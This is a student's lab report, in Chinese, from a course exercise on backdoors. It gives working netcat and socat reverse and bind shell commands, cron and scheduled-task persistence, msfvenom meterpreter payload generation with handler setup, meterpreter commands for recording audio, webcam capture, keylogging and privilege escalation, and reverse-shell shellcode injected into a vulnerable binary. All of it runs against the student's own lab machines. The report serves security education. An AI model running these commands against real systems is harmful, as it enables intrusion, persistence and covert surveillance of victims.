2019-2020-2 20174303刘金晖 Exp2 后门原理与实践
一、实验准备
(一)实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(二)基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
通过绑定在安装包上进入系统,APP上存在后门,拷贝资料时拷贝到系统中,直接发送恶意代码,点到钓鱼链接。
2.例举你知道的后门如何启动起来(win及linux)的方式?
开机时自启动,win的定时任务,linux的cron,伪装成常用软件,木马化正常软件。
3.Meterpreter有哪些给你映像深刻的功能?
录音,控制摄像头,感觉时时刻刻在被监视,感觉不太好,感觉我们的隐私收到了很严重的威胁。
4.如何发现自己有系统有没有被安装后门?
通过杀毒软件检测,开启防火墙。主要依靠一些杀毒软件,经常对电脑进行检测等。也可以自己查看,是否有可疑程序。
二、实验过程
(一)使用netcat获取主机操作Shell,cron启动
- 关于netcat
- netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。windows系统需要自行下载ncat.rar。
2.实践过程
2.1 实验准备
- 在主机上打开命令行界面输入 ipconfig 查看本机IP地址为: 192.168.232.1
- 在linux端,先输入 apt-get install ufw ,然后输入 ufw disable 关闭防火墙。
- 输入 ip add 获得kali的IP地址为 192.168.232.135 。
2.2 Win获得Linux Shell
- 输入指令 nc -l -p 5225 ,windows打开监听。
- 输入指令 nc 192.168.232.1 5225 -e /bin/sh ,在 linux 中反弹连接Windows。
- 随后发现Windows成功获得 linux 的shell,可执行linux指令 ls 。
2.3Linux获得Win Shell
- 在Linux端输入 nc -l -p 5225 指令监听端口5225.
- 在windows端输入 nc -e cmd.exe 192.168.232.135 5225 指令,反向连接。
- linux端成功获得了windows的命令行提示,可以执行 dir 指令。
2.4 利用nc传输数据
- windows端输入 nc.exe 192.168.232.135 5225 指令监听5225端口。
- 在linux端输入 nc -l -p 5225 指令,反向连接windows端。
- 发现linux端与windiws 可相互传输数据。
windows端:
linux端:
2.5 启动cron
- windows端输入na -l -p 5225 打开端口监听。
- linux端输入crontab -e ,选择3,然后在最后一行添加33 * * * * /bin/netcat 192.168.232.1 5225 -e /bin/sh ,指令使在每个小时的第33分钟反向连接Windows主机的5225端口。
- 时间到达33分的时候,如下图所示:
(二)使用socat获取主机操作Shell, 任务计划启动
1.关于socat
- socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数
address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
2.实践过程
- 右击此电脑,点击管理,点击任务计划程序,再点击创建任务。
- 新建一个触发器,选择按预定计划
- 新建操作,在程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写 tcp-listen:5225 exec:cmd.exe,pty,stderr ,把cmd.exe绑定到端口5225,同时把cmd.exe的stderr重定向到stdout上.
- 创建好后任务准备就绪
- 到达预定时间后,再次打开时,可以发现之前创建的任务已经开始运行,并且会弹出一个cmd窗口,弹出的cmd窗口不可以关闭。
- 在linux端输入 socat - tcp:192.168.232.1:5225 这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5225端口,此时可以发现已经成功获得了一个cmd shell
(三)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.关于meterpreter
- 传统的理解是:有人编写一个后门程序,大家拿来用后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,运行参数全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- intersect
2.实验过程
- 在kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.135 LPORT=5225 -f exe > 20174303_backdoor.exe ,这里的IP地址为控制端IP,即kali的IP地址,生成后门程序20174303_backdoor.exe。
- 在windows端输入 nc -lv 5225 > 20174303_backdoor.exe 指令使被控主机就进入接收文件模式。
- kali端输入 nc 192.168.232.1 5225 < 20174303_backdoor.exe ,这里的IP为被控主机IP,即WindowsIP。
这里失败了很多很多很多次,出现了各种错误,比如下图:
还有好多错没有截图,总之最后改好了(虽然我也不清楚改哪个起了作用)。总之最后好不容易传到windows上了。
(搞了很多很多遍,不知道哪一遍成功了,这一步可以了,还挺开心,觉得接下来应该比较顺利了,害,还是太年轻了.)
-
在kali上使用 msfconsole指令进入msf控制台
-
输入 set exploit/multi/handler使用监听模块,设置payload
-
set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload
-
set LHOST 192.168.232.135,这里用的是Kali的IP,和生成后门程序时指定的IP相同
-
set LPORT 5225,同样要使用相同的端口
- 设置完成之后,输入指令 exploit 执行监听,并运行Windows下的后门程序.
到上一步位置还是顺利的,我还觉得我可以了,结果打脸来得猝不及防,这一步又又又出问题了。如下图
这里出现了各式各样的错误,唉我太难了。我也尝试了各种方法,防火墙什么都关掉了;最后起作用的我觉得是重启系统,重新做一次(我是第二天重新打开之后成功的)
可以使用dir指令:
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用 record_mic 指令可以截获一段音频
- 使用 webcam_snap 指令可以使用摄像头进行拍照,我的摄像头不能用,所以没成功。
- 使用 screenshot 指令可以进行截屏:
- 使用 keyscan_start 指令记录下击键的过程,使用keyscan_dump指令读取击键记录。
- 使用
getuid
指令查看当前用户,使用getsystem
指令进行提权操作
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 通过网站下载获取shellcode。(这一部分参考了学长的博客和同学们的博客。)
- 通过实验一可得shellcode起始地址为0xffffd6ac,把地址加在这段shellcode前面,在kali中用其生成input1文件。
perl -e 'print "A" x 32;print"\xac\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1
- 然后在另一个终端打开msfconsole,并打开监听
- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- show options
- exploit
- 在原来的终端输入命令 (cat input1;cat) | ./pwn20174303 ,然后再按一次回车,在另一个终端就可以得到shell开始运行
三、实验感想
- 这次实验中遇到了很多、各种各样的问题,感觉进行得非常艰难,但是在做实验的过程中学到了很多东西,遇到问题,学长学姐的博客,同学们的博客都给了我很多帮助,今后还是要加强锻炼,多学习相关知识,尽量加强自己的实践能力,不断提高自身能力。